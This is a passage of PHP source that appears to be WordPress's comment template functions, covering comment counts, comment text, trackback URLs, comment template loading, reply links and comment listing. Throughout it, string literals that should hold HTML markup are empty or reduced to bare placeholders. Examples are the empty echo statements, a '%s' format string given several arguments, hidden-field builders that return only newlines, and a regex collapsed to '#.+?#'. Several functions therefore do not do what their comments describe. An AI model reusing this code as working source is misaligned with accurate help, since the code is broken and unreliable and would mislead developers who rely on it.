__FUNCTION__, '0.72' ); } if ( ! empty( $deprecated_2 ) ) { _deprecated_argument( __FUNCTION__, '1.3.0' ); } echo esc_url( get_comments_link() ); } /** * Retrieves the amount of comments a post has. * * @since 1.5.0 * * @param int|WP_Post $post_id Optional. Post ID or WP_Post object. Default is the global `$post`. * @return string|int If the post exists, a numeric string representing the number of comments * the post has, otherwise 0. */ function get_comments_number( $post_id = 0 ) { $post = get_post( $post_id ); if ( ! $post ) { $count = 0; } else { $count = $post->comment_count; $post_id = $post->ID; } /** * Filters the returned comment count for a post. * * @since 1.5.0 * * @param string|int $count A string representing the number of comments a post has, otherwise 0. * @param int $post_id Post ID. */ return apply_filters( 'get_comments_number', $count, $post_id ); } /** * Displays the language string for the number of comments the current post has. * * @since 0.71 * @since 5.4.0 The `$deprecated` parameter was changed to `$post_id`. * * @param string|false $zero Optional. Text for no comments. Default false. * @param string|false $one Optional. Text for one comment. Default false. * @param string|false $more Optional. Text for more than one comment. Default false. * @param int|WP_Post $post_id Optional. Post ID or WP_Post object. Default is the global `$post`. */ function comments_number( $zero = false, $one = false, $more = false, $post_id = 0 ) { echo get_comments_number_text( $zero, $one, $more, $post_id ); } /** * Displays the language string for the number of comments the current post has. * * @since 4.0.0 * @since 5.4.0 Added the `$post_id` parameter to allow using the function outside of the loop. * * @param string $zero Optional. Text for no comments. Default false. * @param string $one Optional. Text for one comment. Default false. * @param string $more Optional. Text for more than one comment. Default false. * @param int|WP_Post $post_id Optional. Post ID or WP_Post object. Default is the global `$post`. * @return string Language string for the number of comments a post has. */ function get_comments_number_text( $zero = false, $one = false, $more = false, $post_id = 0 ) { $number = get_comments_number( $post_id ); if ( $number > 1 ) { if ( false === $more ) { /* translators: %s: Number of comments. */ $output = sprintf( _n( '%s Comment', '%s Comments', $number ), number_format_i18n( $number ) ); } else { // % Comments /* * translators: If comment number in your language requires declension, * translate this to 'on'. Do not translate into your own language. */ if ( 'on' === _x( 'off', 'Comment number declension: on or off' ) ) { $text = preg_replace( '#.+?#', '', $more ); $text = preg_replace( '/&.+?;/', '', $text ); // Kill entities. $text = trim( strip_tags( $text ), '% ' ); // Replace '% Comments' with a proper plural form. if ( $text && ! preg_match( '/[0-9]+/', $text ) && false !== strpos( $more, '%' ) ) { /* translators: %s: Number of comments. */ $new_text = _n( '%s Comment', '%s Comments', $number ); $new_text = trim( sprintf( $new_text, '' ) ); $more = str_replace( $text, $new_text, $more ); if ( false === strpos( $more, '%' ) ) { $more = '% ' . $more; } } } $output = str_replace( '%', number_format_i18n( $number ), $more ); } } elseif ( 0 == $number ) { $output = ( false === $zero ) ? __( 'No Comments' ) : $zero; } else { // Must be one. $output = ( false === $one ) ? __( '1 Comment' ) : $one; } /** * Filters the comments count for display. * * @since 1.5.0 * * @see _n() * * @param string $output A translatable string formatted based on whether the count * is equal to 0, 1, or 1+. * @param int $number The number of post comments. */ return apply_filters( 'comments_number', $output, $number ); } /** * Retrieves the text of the current comment. * * @since 1.5.0 * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object. * @since 5.4.0 Added 'In reply to %s.' prefix to child comments in comments feed. * * @see Walker_Comment::comment() * * @param int|WP_Comment $comment_ID WP_Comment or ID of the comment for which to get the text. * Default current comment. * @param array $args Optional. An array of arguments. Default empty array. * @return string The comment content. */ function get_comment_text( $comment_ID = 0, $args = array() ) { $comment = get_comment( $comment_ID ); $comment_content = $comment->comment_content; if ( is_comment_feed() && $comment->comment_parent ) { $parent = get_comment( $comment->comment_parent ); if ( $parent ) { $parent_link = esc_url( get_comment_link( $parent ) ); $name = get_comment_author( $parent ); $comment_content = sprintf( /* translators: %s: Comment link. */ ent2ncr( __( 'In reply to %s.' ) ), '' . $name . '' ) . "\n\n" . $comment_content; } } /** * Filters the text of a comment. * * @since 1.5.0 * * @see Walker_Comment::comment() * * @param string $comment_content Text of the comment. * @param WP_Comment $comment The comment object. * @param array $args An array of arguments. */ return apply_filters( 'get_comment_text', $comment_content, $comment, $args ); } /** * Displays the text of the current comment. * * @since 0.71 * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object. * * @see Walker_Comment::comment() * * @param int|WP_Comment $comment_ID WP_Comment or ID of the comment for which to print the text. * Default current comment. * @param array $args Optional. An array of arguments. Default empty array. */ function comment_text( $comment_ID = 0, $args = array() ) { $comment = get_comment( $comment_ID ); $comment_text = get_comment_text( $comment, $args ); /** * Filters the text of a comment to be displayed. * * @since 1.2.0 * * @see Walker_Comment::comment() * * @param string $comment_text Text of the current comment. * @param WP_Comment|null $comment The comment object. Null if not found. * @param array $args An array of arguments. */ echo apply_filters( 'comment_text', $comment_text, $comment, $args ); } /** * Retrieves the comment time of the current comment. * * @since 1.5.0 * * @param string $format Optional. PHP time format. Defaults to the 'time_format' option. * @param bool $gmt Optional. Whether to use the GMT date. Default false. * @param bool $translate Optional. Whether to translate the time (for use in feeds). * Default true. * @return string The formatted time. */ function get_comment_time( $format = '', $gmt = false, $translate = true ) { $comment = get_comment(); $comment_date = $gmt ? $comment->comment_date_gmt : $comment->comment_date; $_format = ! empty( $format ) ? $format : get_option( 'time_format' ); $date = mysql2date( $_format, $comment_date, $translate ); /** * Filters the returned comment time. * * @since 1.5.0 * * @param string|int $date The comment time, formatted as a date string or Unix timestamp. * @param string $format PHP date format. * @param bool $gmt Whether the GMT date is in use. * @param bool $translate Whether the time is translated. * @param WP_Comment $comment The comment object. */ return apply_filters( 'get_comment_time', $date, $format, $gmt, $translate, $comment ); } /** * Displays the comment time of the current comment. * * @since 0.71 * * @param string $format Optional. PHP time format. Defaults to the 'time_format' option. */ function comment_time( $format = '' ) { echo get_comment_time( $format ); } /** * Retrieves the comment type of the current comment. * * @since 1.5.0 * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object. * * @param int|WP_Comment $comment_ID Optional. WP_Comment or ID of the comment for which to get the type. * Default current comment. * @return string The comment type. */ function get_comment_type( $comment_ID = 0 ) { $comment = get_comment( $comment_ID ); if ( '' === $comment->comment_type ) { $comment->comment_type = 'comment'; } /** * Filters the returned comment type. * * @since 1.5.0 * @since 4.1.0 The `$comment_ID` and `$comment` parameters were added. * * @param string $comment_type The type of comment, such as 'comment', 'pingback', or 'trackback'. * @param string $comment_ID The comment ID as a numeric string. * @param WP_Comment $comment The comment object. */ return apply_filters( 'get_comment_type', $comment->comment_type, $comment->comment_ID, $comment ); } /** * Displays the comment type of the current comment. * * @since 0.71 * * @param string|false $commenttxt Optional. String to display for comment type. Default false. * @param string|false $trackbacktxt Optional. String to display for trackback type. Default false. * @param string|false $pingbacktxt Optional. String to display for pingback type. Default false. */ function comment_type( $commenttxt = false, $trackbacktxt = false, $pingbacktxt = false ) { if ( false === $commenttxt ) { $commenttxt = _x( 'Comment', 'noun' ); } if ( false === $trackbacktxt ) { $trackbacktxt = __( 'Trackback' ); } if ( false === $pingbacktxt ) { $pingbacktxt = __( 'Pingback' ); } $type = get_comment_type(); switch ( $type ) { case 'trackback': echo $trackbacktxt; break; case 'pingback': echo $pingbacktxt; break; default: echo $commenttxt; } } /** * Retrieves the current post's trackback URL. * * There is a check to see if permalink's have been enabled and if so, will * retrieve the pretty path. If permalinks weren't enabled, the ID of the * current post is used and appended to the correct page to go to. * * @since 1.5.0 * * @return string The trackback URL after being filtered. */ function get_trackback_url() { if ( get_option( 'permalink_structure' ) ) { $tb_url = trailingslashit( get_permalink() ) . user_trailingslashit( 'trackback', 'single_trackback' ); } else { $tb_url = get_option( 'siteurl' ) . '/wp-trackback.php?p=' . get_the_ID(); } /** * Filters the returned trackback URL. * * @since 2.2.0 * * @param string $tb_url The trackback URL. */ return apply_filters( 'trackback_url', $tb_url ); } /** * Displays the current post's trackback URL. * * @since 0.71 * * @param bool $deprecated_echo Not used. * @return void|string Should only be used to echo the trackback URL, use get_trackback_url() * for the result instead. */ function trackback_url( $deprecated_echo = true ) { if ( true !== $deprecated_echo ) { _deprecated_argument( __FUNCTION__, '2.5.0', sprintf( /* translators: %s: get_trackback_url() */ __( 'Use %s instead if you do not want the value echoed.' ), 'get_trackback_url()' ) ); } if ( $deprecated_echo ) { echo get_trackback_url(); } else { return get_trackback_url(); } } /** * Generates and displays the RDF for the trackback information of current post. * * Deprecated in 3.0.0, and restored in 3.0.1. * * @since 0.71 * * @param int|string $deprecated Not used (Was $timezone = 0). */ function trackback_rdf( $deprecated = '' ) { if ( ! empty( $deprecated ) ) { _deprecated_argument( __FUNCTION__, '2.5.0' ); } if ( isset( $_SERVER['HTTP_USER_AGENT'] ) && false !== stripos( $_SERVER['HTTP_USER_AGENT'], 'W3C_Validator' ) ) { return; } echo ' \n"; echo ''; } /** * Determines whether the current post is open for comments. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 1.5.0 * * @param int|WP_Post $post_id Post ID or WP_Post object. Default current post. * @return bool True if the comments are open. */ function comments_open( $post_id = null ) { $_post = get_post( $post_id ); $post_id = $_post ? $_post->ID : 0; $open = ( $_post && ( 'open' === $_post->comment_status ) ); /** * Filters whether the current post is open for comments. * * @since 2.5.0 * * @param bool $open Whether the current post is open for comments. * @param int $post_id The post ID. */ return apply_filters( 'comments_open', $open, $post_id ); } /** * Determines whether the current post is open for pings. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 1.5.0 * * @param int|WP_Post $post_id Post ID or WP_Post object. Default current post. * @return bool True if pings are accepted */ function pings_open( $post_id = null ) { $_post = get_post( $post_id ); $post_id = $_post ? $_post->ID : 0; $open = ( $_post && ( 'open' === $_post->ping_status ) ); /** * Filters whether the current post is open for pings. * * @since 2.5.0 * * @param bool $open Whether the current post is open for pings. * @param int $post_id The post ID. */ return apply_filters( 'pings_open', $open, $post_id ); } /** * Displays form token for unfiltered comments. * * Will only display nonce token if the current user has permissions for * unfiltered html. Won't display the token for other users. * * The function was backported to 2.0.10 and was added to versions 2.1.3 and * above. Does not exist in versions prior to 2.0.10 in the 2.0 branch and in * the 2.1 branch, prior to 2.1.3. Technically added in 2.2.0. * * Backported to 2.0.10. * * @since 2.1.3 */ function wp_comment_form_unfiltered_html_nonce() { $post = get_post(); $post_id = $post ? $post->ID : 0; if ( current_user_can( 'unfiltered_html' ) ) { wp_nonce_field( 'unfiltered-html-comment_' . $post_id, '_wp_unfiltered_html_comment_disabled', false ); echo "\n"; } } /** * Loads the comment template specified in $file. * * Will not display the comments template if not on single post or page, or if * the post does not have comments. * * Uses the WordPress database object to query for the comments. The comments * are passed through the {@see 'comments_array'} filter hook with the list of comments * and the post ID respectively. * * The `$file` path is passed through a filter hook called {@see 'comments_template'}, * which includes the TEMPLATEPATH and $file combined. Tries the $filtered path * first and if it fails it will require the default comment template from the * default theme. If either does not exist, then the WordPress process will be * halted. It is advised for that reason, that the default theme is not deleted. * * Will not try to get the comments if the post has none. * * @since 1.5.0 * * @global WP_Query $wp_query WordPress Query object. * @global WP_Post $post Global post object. * @global wpdb $wpdb WordPress database abstraction object. * @global int $id * @global WP_Comment $comment Global comment object. * @global string $user_login * @global string $user_identity * @global bool $overridden_cpage * @global bool $withcomments * * @param string $file Optional. The file to load. Default '/comments.php'. * @param bool $separate_comments Optional. Whether to separate the comments by comment type. * Default false. */ function comments_template( $file = '/comments.php', $separate_comments = false ) { global $wp_query, $withcomments, $post, $wpdb, $id, $comment, $user_login, $user_identity, $overridden_cpage; if ( ! ( is_single() || is_page() || $withcomments ) || empty( $post ) ) { return; } if ( empty( $file ) ) { $file = '/comments.php'; } $req = get_option( 'require_name_email' ); /* * Comment author information fetched from the comment cookies. */ $commenter = wp_get_current_commenter(); /* * The name of the current comment author escaped for use in attributes. * Escaped by sanitize_comment_cookies(). */ $comment_author = $commenter['comment_author']; /* * The email address of the current comment author escaped for use in attributes. * Escaped by sanitize_comment_cookies(). */ $comment_author_email = $commenter['comment_author_email']; /* * The URL of the current comment author escaped for use in attributes. */ $comment_author_url = esc_url( $commenter['comment_author_url'] ); $comment_args = array( 'orderby' => 'comment_date_gmt', 'order' => 'ASC', 'status' => 'approve', 'post_id' => $post->ID, 'no_found_rows' => false, 'update_comment_meta_cache' => false, // We lazy-load comment meta for performance. ); if ( get_option( 'thread_comments' ) ) { $comment_args['hierarchical'] = 'threaded'; } else { $comment_args['hierarchical'] = false; } if ( is_user_logged_in() ) { $comment_args['include_unapproved'] = array( get_current_user_id() ); } else { $unapproved_email = wp_get_unapproved_comment_author_email(); if ( $unapproved_email ) { $comment_args['include_unapproved'] = array( $unapproved_email ); } } $per_page = 0; if ( get_option( 'page_comments' ) ) { $per_page = (int) get_query_var( 'comments_per_page' ); if ( 0 === $per_page ) { $per_page = (int) get_option( 'comments_per_page' ); } $comment_args['number'] = $per_page; $page = (int) get_query_var( 'cpage' ); if ( $page ) { $comment_args['offset'] = ( $page - 1 ) * $per_page; } elseif ( 'oldest' === get_option( 'default_comments_page' ) ) { $comment_args['offset'] = 0; } else { // If fetching the first page of 'newest', we need a top-level comment count. $top_level_query = new WP_Comment_Query(); $top_level_args = array( 'count' => true, 'orderby' => false, 'post_id' => $post->ID, 'status' => 'approve', ); if ( $comment_args['hierarchical'] ) { $top_level_args['parent'] = 0; } if ( isset( $comment_args['include_unapproved'] ) ) { $top_level_args['include_unapproved'] = $comment_args['include_unapproved']; } /** * Filters the arguments used in the top level comments query. * * @since 5.6.0 * * @see WP_Comment_Query::__construct() * * @param array $top_level_args { * The top level query arguments for the comments template. * * @type bool $count Whether to return a comment count. * @type string|array $orderby The field(s) to order by. * @type int $post_id The post ID. * @type string|array $status The comment status to limit results by. * } */ $top_level_args = apply_filters( 'comments_template_top_level_query_args', $top_level_args ); $top_level_count = $top_level_query->query( $top_level_args ); $comment_args['offset'] = ( ceil( $top_level_count / $per_page ) - 1 ) * $per_page; } } /** * Filters the arguments used to query comments in comments_template(). * * @since 4.5.0 * * @see WP_Comment_Query::__construct() * * @param array $comment_args { * Array of WP_Comment_Query arguments. * * @type string|array $orderby Field(s) to order by. * @type string $order Order of results. Accepts 'ASC' or 'DESC'. * @type string $status Comment status. * @type array $include_unapproved Array of IDs or email addresses whose unapproved comments * will be included in results. * @type int $post_id ID of the post. * @type bool $no_found_rows Whether to refrain from querying for found rows. * @type bool $update_comment_meta_cache Whether to prime cache for comment meta. * @type bool|string $hierarchical Whether to query for comments hierarchically. * @type int $offset Comment offset. * @type int $number Number of comments to fetch. * } */ $comment_args = apply_filters( 'comments_template_query_args', $comment_args ); $comment_query = new WP_Comment_Query( $comment_args ); $_comments = $comment_query->comments; // Trees must be flattened before they're passed to the walker. if ( $comment_args['hierarchical'] ) { $comments_flat = array(); foreach ( $_comments as $_comment ) { $comments_flat[] = $_comment; $comment_children = $_comment->get_children( array( 'format' => 'flat', 'status' => $comment_args['status'], 'orderby' => $comment_args['orderby'], ) ); foreach ( $comment_children as $comment_child ) { $comments_flat[] = $comment_child; } } } else { $comments_flat = $_comments; } /** * Filters the comments array. * * @since 2.1.0 * * @param array $comments Array of comments supplied to the comments template. * @param int $post_ID Post ID. */ $wp_query->comments = apply_filters( 'comments_array', $comments_flat, $post->ID ); $comments = &$wp_query->comments; $wp_query->comment_count = count( $wp_query->comments ); $wp_query->max_num_comment_pages = $comment_query->max_num_pages; if ( $separate_comments ) { $wp_query->comments_by_type = separate_comments( $comments ); $comments_by_type = &$wp_query->comments_by_type; } else { $wp_query->comments_by_type = array(); } $overridden_cpage = false; if ( '' == get_query_var( 'cpage' ) && $wp_query->max_num_comment_pages > 1 ) { set_query_var( 'cpage', 'newest' === get_option( 'default_comments_page' ) ? get_comment_pages_count() : 1 ); $overridden_cpage = true; } if ( ! defined( 'COMMENTS_TEMPLATE' ) ) { define( 'COMMENTS_TEMPLATE', true ); } $theme_template = STYLESHEETPATH . $file; /** * Filters the path to the theme template file used for the comments template. * * @since 1.5.1 * * @param string $theme_template The path to the theme template file. */ $include = apply_filters( 'comments_template', $theme_template ); if ( file_exists( $include ) ) { require $include; } elseif ( file_exists( TEMPLATEPATH . $file ) ) { require TEMPLATEPATH . $file; } else { // Backward compat code will be removed in a future release. require ABSPATH . WPINC . '/theme-compat/comments.php'; } } /** * Displays the link to the comments for the current post ID. * * @since 0.71 * * @param false|string $zero Optional. String to display when no comments. Default false. * @param false|string $one Optional. String to display when only one comment is available. Default false. * @param false|string $more Optional. String to display when there are more than one comment. Default false. * @param string $css_class Optional. CSS class to use for comments. Default empty. * @param false|string $none Optional. String to display when comments have been turned off. Default false. */ function comments_popup_link( $zero = false, $one = false, $more = false, $css_class = '', $none = false ) { $post_id = get_the_ID(); $post_title = get_the_title(); $number = get_comments_number( $post_id ); if ( false === $zero ) { /* translators: %s: Post title. */ $zero = sprintf( __( 'No Comments on %s' ), $post_title ); } if ( false === $one ) { /* translators: %s: Post title. */ $one = sprintf( __( '1 Comment on %s' ), $post_title ); } if ( false === $more ) { /* translators: 1: Number of comments, 2: Post title. */ $more = _n( '%1$s Comment on %2$s', '%1$s Comments on %2$s', $number ); $more = sprintf( $more, number_format_i18n( $number ), $post_title ); } if ( false === $none ) { /* translators: %s: Post title. */ $none = sprintf( __( 'Comments Off on %s' ), $post_title ); } if ( 0 == $number && ! comments_open() && ! pings_open() ) { echo '' . $none . ''; return; } if ( post_password_required() ) { _e( 'Enter your password to view comments.' ); return; } echo ''; comments_number( $zero, $one, $more ); echo ''; } /** * Retrieves HTML content for reply to comment link. * * @since 2.7.0 * @since 4.4.0 Added the ability for `$comment` to also accept a WP_Comment object. * * @param array $args { * Optional. Override default arguments. * * @type string $add_below The first part of the selector used to identify the comment to respond below. * The resulting value is passed as the first parameter to addComment.moveForm(), * concatenated as $add_below-$comment->comment_ID. Default 'comment'. * @type string $respond_id The selector identifying the responding comment. Passed as the third parameter * to addComment.moveForm(), and appended to the link URL as a hash value. * Default 'respond'. * @type string $reply_text The text of the Reply link. Default 'Reply'. * @type string $login_text The text of the link to reply if logged out. Default 'Log in to Reply'. * @type int $max_depth The max depth of the comment tree. Default 0. * @type int $depth The depth of the new comment. Must be greater than 0 and less than the value * of the 'thread_comments_depth' option set in Settings > Discussion. Default 0. * @type string $before The text or HTML to add before the reply link. Default empty. * @type string $after The text or HTML to add after the reply link. Default empty. * } * @param int|WP_Comment $comment Comment being replied to. Default current comment. * @param int|WP_Post $post Post ID or WP_Post object the comment is going to be displayed on. * Default current post. * @return string|false|null Link to show comment form, if successful. False, if comments are closed. */ function get_comment_reply_link( $args = array(), $comment = null, $post = null ) { $defaults = array( 'add_below' => 'comment', 'respond_id' => 'respond', 'reply_text' => __( 'Reply' ), /* translators: Comment reply button text. %s: Comment author name. */ 'reply_to_text' => __( 'Reply to %s' ), 'login_text' => __( 'Log in to Reply' ), 'max_depth' => 0, 'depth' => 0, 'before' => '', 'after' => '', ); $args = wp_parse_args( $args, $defaults ); if ( 0 == $args['depth'] || $args['max_depth'] <= $args['depth'] ) { return; } $comment = get_comment( $comment ); if ( empty( $comment ) ) { return; } if ( empty( $post ) ) { $post = $comment->comment_post_ID; } $post = get_post( $post ); if ( ! comments_open( $post->ID ) ) { return false; } if ( get_option( 'page_comments' ) ) { $permalink = str_replace( '#comment-' . $comment->comment_ID, '', get_comment_link( $comment ) ); } else { $permalink = get_permalink( $post->ID ); } /** * Filters the comment reply link arguments. * * @since 4.1.0 * * @param array $args Comment reply link arguments. See get_comment_reply_link() * for more information on accepted arguments. * @param WP_Comment $comment The object of the comment being replied to. * @param WP_Post $post The WP_Post object. */ $args = apply_filters( 'comment_reply_link_args', $args, $comment, $post ); if ( get_option( 'comment_registration' ) && ! is_user_logged_in() ) { $link = sprintf( '', esc_url( wp_login_url( get_permalink() ) ), $args['login_text'] ); } else { $data_attributes = array( 'commentid' => $comment->comment_ID, 'postid' => $post->ID, 'belowelement' => $args['add_below'] . '-' . $comment->comment_ID, 'respondelement' => $args['respond_id'], 'replyto' => sprintf( $args['reply_to_text'], get_comment_author( $comment ) ), ); $data_attribute_string = ''; foreach ( $data_attributes as $name => $value ) { $data_attribute_string .= " data-${name}=\"" . esc_attr( $value ) . '"'; } $data_attribute_string = trim( $data_attribute_string ); $link = sprintf( "%s", esc_url( add_query_arg( array( 'replytocom' => $comment->comment_ID, 'unapproved' => false, 'moderation-hash' => false, ), $permalink ) ) . '#' . $args['respond_id'], $data_attribute_string, esc_attr( sprintf( $args['reply_to_text'], get_comment_author( $comment ) ) ), $args['reply_text'] ); } /** * Filters the comment reply link. * * @since 2.7.0 * * @param string $link The HTML markup for the comment reply link. * @param array $args An array of arguments overriding the defaults. * @param WP_Comment $comment The object of the comment being replied. * @param WP_Post $post The WP_Post object. */ return apply_filters( 'comment_reply_link', $args['before'] . $link . $args['after'], $args, $comment, $post ); } /** * Displays the HTML content for reply to comment link. * * @since 2.7.0 * * @see get_comment_reply_link() * * @param array $args Optional. Override default options. Default empty array. * @param int|WP_Comment $comment Comment being replied to. Default current comment. * @param int|WP_Post $post Post ID or WP_Post object the comment is going to be displayed on. * Default current post. */ function comment_reply_link( $args = array(), $comment = null, $post = null ) { echo get_comment_reply_link( $args, $comment, $post ); } /** * Retrieves HTML content for reply to post link. * * @since 2.7.0 * * @param array $args { * Optional. Override default arguments. * * @type string $add_below The first part of the selector used to identify the comment to respond below. * The resulting value is passed as the first parameter to addComment.moveForm(), * concatenated as $add_below-$comment->comment_ID. Default is 'post'. * @type string $respond_id The selector identifying the responding comment. Passed as the third parameter * to addComment.moveForm(), and appended to the link URL as a hash value. * Default 'respond'. * @type string $reply_text Text of the Reply link. Default is 'Leave a Comment'. * @type string $login_text Text of the link to reply if logged out. Default is 'Log in to leave a Comment'. * @type string $before Text or HTML to add before the reply link. Default empty. * @type string $after Text or HTML to add after the reply link. Default empty. * } * @param int|WP_Post $post Optional. Post ID or WP_Post object the comment is going to be displayed on. * Default current post. * @return string|false|null Link to show comment form, if successful. False, if comments are closed. */ function get_post_reply_link( $args = array(), $post = null ) { $defaults = array( 'add_below' => 'post', 'respond_id' => 'respond', 'reply_text' => __( 'Leave a Comment' ), 'login_text' => __( 'Log in to leave a Comment' ), 'before' => '', 'after' => '', ); $args = wp_parse_args( $args, $defaults ); $post = get_post( $post ); if ( ! comments_open( $post->ID ) ) { return false; } if ( get_option( 'comment_registration' ) && ! is_user_logged_in() ) { $link = sprintf( '', wp_login_url( get_permalink() ), $args['login_text'] ); } else { $onclick = sprintf( 'return addComment.moveForm( "%1$s-%2$s", "0", "%3$s", "%2$s" )', $args['add_below'], $post->ID, $args['respond_id'] ); $link = sprintf( "%s", get_permalink( $post->ID ) . '#' . $args['respond_id'], $onclick, $args['reply_text'] ); } $formatted_link = $args['before'] . $link . $args['after']; /** * Filters the formatted post comments link HTML. * * @since 2.7.0 * * @param string $formatted The HTML-formatted post comments link. * @param int|WP_Post $post The post ID or WP_Post object. */ return apply_filters( 'post_comments_link', $formatted_link, $post ); } /** * Displays the HTML content for reply to post link. * * @since 2.7.0 * * @see get_post_reply_link() * * @param array $args Optional. Override default options. Default empty array. * @param int|WP_Post $post Post ID or WP_Post object the comment is going to be displayed on. * Default current post. */ function post_reply_link( $args = array(), $post = null ) { echo get_post_reply_link( $args, $post ); } /** * Retrieves HTML content for cancel comment reply link. * * @since 2.7.0 * * @param string $text Optional. Text to display for cancel reply link. If empty, * defaults to 'Click here to cancel reply'. Default empty. * @return string */ function get_cancel_comment_reply_link( $text = '' ) { if ( empty( $text ) ) { $text = __( 'Click here to cancel reply.' ); } $style = isset( $_GET['replytocom'] ) ? '' : ' style="display:none;"'; $link = esc_html( remove_query_arg( array( 'replytocom', 'unapproved', 'moderation-hash' ) ) ) . '#respond'; $formatted_link = '' . $text . ''; /** * Filters the cancel comment reply link HTML. * * @since 2.7.0 * * @param string $formatted_link The HTML-formatted cancel comment reply link. * @param string $link Cancel comment reply link URL. * @param string $text Cancel comment reply link text. */ return apply_filters( 'cancel_comment_reply_link', $formatted_link, $link, $text ); } /** * Displays HTML content for cancel comment reply link. * * @since 2.7.0 * * @param string $text Optional. Text to display for cancel reply link. If empty, * defaults to 'Click here to cancel reply'. Default empty. */ function cancel_comment_reply_link( $text = '' ) { echo get_cancel_comment_reply_link( $text ); } /** * Retrieves hidden input HTML for replying to comments. * * @since 3.0.0 * * @param int $post_id Optional. Post ID. Defaults to the current post ID. * @return string Hidden input HTML for replying to comments. */ function get_comment_id_fields( $post_id = 0 ) { if ( empty( $post_id ) ) { $post_id = get_the_ID(); } $reply_to_id = isset( $_GET['replytocom'] ) ? (int) $_GET['replytocom'] : 0; $result = "\n"; $result .= "\n"; /** * Filters the returned comment ID fields. * * @since 3.0.0 * * @param string $result The HTML-formatted hidden ID field comment elements. * @param int $post_id The post ID. * @param int $reply_to_id The ID of the comment being replied to. */ return apply_filters( 'comment_id_fields', $result, $post_id, $reply_to_id ); } /** * Outputs hidden input HTML for replying to comments. * * Adds two hidden inputs to the comment form to identify the `comment_post_ID` * and `comment_parent` values for threaded comments. * * This tag must be within the `
    ` section of the `comments.php` template. * * @since 2.7.0 * * @see get_comment_id_fields() * * @param int $post_id Optional. Post ID. Defaults to the current post ID. */ function comment_id_fields( $post_id = 0 ) { echo get_comment_id_fields( $post_id ); } /** * Displays text based on comment reply status. * * Only affects users with JavaScript disabled. * * @internal The $comment global must be present to allow template tags access to the current * comment. See https://core.trac.wordpress.org/changeset/36512. * * @since 2.7.0 * * @global WP_Comment $comment Global comment object. * * @param string|false $no_reply_text Optional. Text to display when not replying to a comment. * Default false. * @param string|false $reply_text Optional. Text to display when replying to a comment. * Default false. Accepts "%s" for the author of the comment * being replied to. * @param bool $link_to_parent Optional. Boolean to control making the author's name a link * to their comment. Default true. */ function comment_form_title( $no_reply_text = false, $reply_text = false, $link_to_parent = true ) { global $comment; if ( false === $no_reply_text ) { $no_reply_text = __( 'Leave a Reply' ); } if ( false === $reply_text ) { /* translators: %s: Author of the comment being replied to. */ $reply_text = __( 'Leave a Reply to %s' ); } $reply_to_id = isset( $_GET['replytocom'] ) ? (int) $_GET['replytocom'] : 0; if ( 0 == $reply_to_id ) { echo $no_reply_text; } else { // Sets the global so that template tags can be used in the comment form. $comment = get_comment( $reply_to_id ); if ( $link_to_parent ) { $author = '' . get_comment_author( $comment ) . ''; } else { $author = get_comment_author( $comment ); } printf( $reply_text, $author ); } } /** * Displays a list of comments. * * Used in the comments.php template to list comments for a particular post. * * @since 2.7.0 * * @see WP_Query->comments * * @global WP_Query $wp_query WordPress Query object. * @global int $comment_alt * @global int $comment_depth * @global int $comment_thread_alt * @global bool $overridden_cpage * @global bool $in_comment_loop * * @param string|array $args { * Optional. Formatting options. * * @type object $walker Instance of a Walker class to list comments. Default null. * @type int $max_depth The maximum comments depth. Default empty. * @type string $style The style of list ordering. Accepts 'ul', 'ol', or 'div'. * 'div' will result in no additional list markup. Default 'ul'. * @type callable $callback Callback function to use. Default null. * @type callable $end-callback Callback function to use at the end. Default null. * @type string $type Type of comments to list. Accepts 'all', 'comment', * 'pingback', 'trackback', 'pings'. Default 'all'. * @type int $page Page ID to list comments for. Default empty. * @type int $per_page Number of comments to list per page. Default empty. * @type int $avatar_size Height and width dimensions of the avatar size. Default 32. * @type bool $reverse_top_level Ordering of the listed comments. If true, will display * newest comments first. Default null. * @type bool $reverse_children Whether to reverse child comments in the list. Default null. * @type string $format How to format the comments list. Accepts 'html5', 'xhtml'. * Default 'html5' if the theme supports it. * @type bool $short_ping Whether to output short pings. Default false. * @type bool $echo Whether to echo the output or return it. Default true. * } * @param WP_Comment[] $comments Optional. Array of WP_Comment objects. * @return void|string Void if 'echo' argument is true, or no comments to list. * Otherwise, HTML list of comments. */ function wp_list_comments( $args = array(), $comments = null ) { global $wp_query, $comment_alt, $comment_depth, $comment_thread_alt, $overridden_cpage, $in_comment_loop; $in_comment_loop = true; $comment_alt = 0; $comment_thread_alt = 0; $comment_depth = 1; $defaults = array( 'walker' => null, 'max_depth' => '', 'style' => 'ul', 'callback' => null, 'end-callback' => null, 'type' => 'all', 'page' => '', 'per_page' => '', 'avatar_size' => 32, 'reverse_top_level' => null, 'reverse_children' => '', 'format' => current_theme_supports( 'html5', 'comment-list' ) ? 'html5' : 'xhtml', 'short_ping' => false, 'echo' => true, ); $parsed_args = wp_parse_args( $args, $defaults ); /** * Filters the arguments used in retrieving the comment list. * * @since 4.0.0 * * @see wp_list_comments() * * @param array $parsed_args An array of arguments for displaying comments. */ $parsed_args = apply_filters( 'wp_list_comments_args', $parsed_args ); // Figure out what comments we'll be looping through ($_comments). if ( null !== $comments ) { $comments = (array) $comments; if ( empty( $comments ) ) { return; } if ( 'all' !== $parsed_args['type'] ) { $comments_by_type = separate_comments( $comments ); if ( empty( $comments_by_type[ $parsed_args['type'] ] ) ) { return; } $_comments = $comments_by_type[ $parsed_args['type'] ]; } else { $_comments = $comments; } } else { /* * If 'page' or 'per_page' has been passed, and does not match what's in $wp_query, * perform a separate comment query and allow Walker_Comment to paginate. */ if ( $parsed_args['page'] || $parsed_args['per_page'] ) { $current_cpage = get_query_var( 'cpage' ); if ( ! $current_cpage ) { $current_cpage = 'newest' === get_option( 'default_comments_page' ) ? 1 : $wp_query->max_num_comment_pages; } $current_per_page = get_query_var( 'comments_per_page' ); if ( $parsed_args['page'] != $current_cpage || $parsed_args['per_page'] != $current_per_page ) { $comment_args = array( 'post_id' => get_the_ID(), 'orderby' => 'comment_date_gmt', 'order' => 'ASC', 'status' => 'approve', ); if ( is_user_logged_in() ) { $comment_args['include_unapproved'] = array( get_current_user_id() ); } else { $unapproved_email = wp_get_unapproved_comment_author_email(); if ( $unapproved_email ) { $comment_args['include_unapproved'] 